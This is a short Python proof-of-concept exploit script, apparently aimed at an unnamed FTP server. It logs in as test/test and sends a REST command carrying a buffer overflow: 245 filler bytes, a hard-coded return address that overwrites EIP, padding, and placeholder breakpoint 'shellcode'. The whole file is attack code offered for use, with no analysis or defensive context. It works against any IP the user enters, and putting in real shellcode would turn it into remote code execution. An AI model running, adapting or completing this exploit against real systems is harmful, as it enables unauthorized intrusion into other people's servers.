#!/usr/bin/env python3
# Exploit Script
# Author Yehia Elghaly

import sys
from socket import *

print ("FTP--> Fuzzer")
print ("")
ip = input ("Enter target IP/Program: ")
port = 21

shellcode = b"\xcc\xcc\xcc\xcc"

bufsize = 1000
eip = b"\x53\x93\x42\x7e"
buf = b'A'*245
buf += eip
buf += b'C'*7
buf += shellcode
buf += b'D'*(bufsize - len(buf))

print ("[+] Connecting...")

s = socket(AF_INET,SOCK_STREAM)
s.connect((ip,port))
s.recv(2000)
s.send(b"USER test\r\n")
s.recv(2000)
s.send(b"PASS test\r\n")
s.recv(2000)
s.send(b"REST "+buf+b"\r\n")
s.close()

print ("Done !!")